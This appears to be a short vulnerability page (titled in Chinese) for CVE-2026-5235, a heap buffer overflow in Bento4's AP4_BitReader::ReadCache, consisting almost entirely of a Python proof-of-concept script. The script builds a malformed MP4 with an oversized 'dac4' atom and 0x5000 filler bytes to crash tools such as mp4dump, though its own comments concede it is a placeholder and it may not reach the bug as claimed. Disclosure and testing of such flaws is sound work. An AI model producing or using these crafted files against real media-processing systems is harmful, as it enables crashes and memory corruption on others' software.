CVE-2026-5235: Bento4堆缓冲区溢出漏洞

# Proof of Concept for CVE-2026-5235 # This script generates a malformed MP4 file to trigger the heap overflow. import struct def create_poc_mp4(filename): # Minimal MP4 box header structure # The actual exploit requires specific data patterns in the DAC4 atom # to trigger the overflow in AP4_BitReader::ReadCache. # File header (ftyp placeholder) ftyp = b'\x00\x00\x00\x20ftypisom\x00\x00\x02\x00isomiso2avc1mp41\x00\x00\x00\x00' # Malicious DAC4 atom structure # Size field (large size to potentially confuse parser) # Type 'dac4' atom_header = struct.pack('>I', 0xFFFFFFFF) + b'dac4' # Payload designed to overflow the ReadCache buffer # Sending excessive bytes to trigger the heap corruption malicious_payload = b'A' * 0x5000 with open(filename, 'wb') as f: f.write(ftyp) f.write(atom_header) f.write(malicious_payload) if __name__ == "__main__": print("Generating PoC file for CVE-2026-5235...") create_poc_mp4("cve_2026_5235_poc.mp4") print("[+] PoC file generated: cve_2026_5235_poc.mp4") print("[+] Use Bento4 tools (e.g., mp4dump) to parse this file to trigger the crash.")